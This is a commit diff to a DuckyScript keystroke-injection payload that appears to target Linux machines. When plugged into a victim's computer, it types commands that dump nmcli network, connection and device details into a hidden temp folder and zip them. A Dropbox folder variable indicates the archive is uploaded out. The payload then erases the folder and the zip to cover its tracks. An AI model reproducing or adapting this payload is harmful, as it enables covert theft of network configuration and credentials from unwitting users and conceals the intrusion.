Fixed zip function

pull/256/head
aleff-github 2023-03-13 09:52:14 +01:00
parent 0dce8b6504
commit 9675f88b3d
1 changed files with 15 additions and 6 deletions

View File

@ -34,7 +34,10 @@ STRING RANDOM=$(shuf -i 1-999999999999 -n 1)
ENTER ENTER
DELAY 500 DELAY 500
STRING NAME="$RANDOM.zip" STRING ZIP_NAME="$RANDOM.zip"
ENTER
DELAY 500
STRING ZIP_PATH="/home/$USER_NAME/Documents/$ZIP_NAME"
ENTER ENTER
REM Folder path REM Folder path
@ -42,20 +45,22 @@ DELAY 500
STRING TMP_FOLDER_PATH=$(mktemp -d -p "/home/$USER_NAME/Documents" prefix-XXXXXXXXXX) STRING TMP_FOLDER_PATH=$(mktemp -d -p "/home/$USER_NAME/Documents" prefix-XXXXXXXXXX)
ENTER ENTER
REM Delay for zipping operation, it depends by computer power and folder directory DELAY 500
DELAY 3000
STRING nmcli > "$TMP_FOLDER_PATH/nmcli.txt" STRING nmcli > "$TMP_FOLDER_PATH/nmcli.txt"
ENTER ENTER
DELAY 1000
DELAY 1000
STRING nmcli connection show > "$TMP_FOLDER_PATH/nmcli_connection.txt" STRING nmcli connection show > "$TMP_FOLDER_PATH/nmcli_connection.txt"
ENTER ENTER
DELAY 1000
DELAY 1000
STRING nmcli device show > "$TMP_FOLDER_PATH/nmcli_device.txt" STRING nmcli device show > "$TMP_FOLDER_PATH/nmcli_device.txt"
ENTER ENTER
DELAY 1000 DELAY 1000
REM Delay for zipping operation, it depends by computer power and folder directory
STRING zip -r "$ZIP_PATH" "$TMP_FOLDER_PATH"
DELAY 3000
STRING DROPBOX_FOLDER="/$NAME" STRING DROPBOX_FOLDER="/$NAME"
ENTER ENTER
@ -74,3 +79,7 @@ ENTER
DELAY 500 DELAY 500
STRING rm -rf "$TMP_FOLDER_PATH" STRING rm -rf "$TMP_FOLDER_PATH"
ENTER ENTER
DELAY 500
STRING rm -rf "$ZIP_PATH"
ENTER